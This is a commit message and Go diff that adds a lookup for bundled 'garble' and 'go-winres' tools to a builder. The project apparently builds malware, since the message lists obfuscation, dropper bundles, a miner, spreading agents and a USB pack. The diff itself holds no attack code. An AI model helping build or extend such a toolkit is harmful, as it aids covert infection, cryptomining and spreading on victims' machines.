fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/internal/builder/winres.go

@@ -2,6 +2,7 @@ package builder
 
 import (
 	"fmt"
+	"os"
 	"os/exec"
 	"path/filepath"
 	"strings"
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
 	return out, nil
 }
 
+func bundledToolPath(projectRoot, name string) string {
+	if projectRoot == "" || projectRoot == "." {
+		return ""
+	}
+	base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
+	for _, candidate := range []string{
+		filepath.Join(base, name),
+		filepath.Join(base, name+".exe"),
+	} {
+		if _, err := os.Stat(candidate); err == nil {
+			return candidate
+		}
+	}
+	return ""
+}
+
 func (h *Handler) resolveToolPaths(projectRoot string) {
 	if h.goBinPath == "" {
 		h.goBinPath = "go"
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
 	}
 	if p, err := exec.LookPath("garble"); err == nil {
 		h.garblePath = p
+	} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
+		h.garblePath = p
 	}
 	if p, err := exec.LookPath("go-winres"); err == nil {
 		h.goWinresPath = p
 	} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
 		h.goWinresPath = p
+	} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
+		h.goWinresPath = p
 	}
 }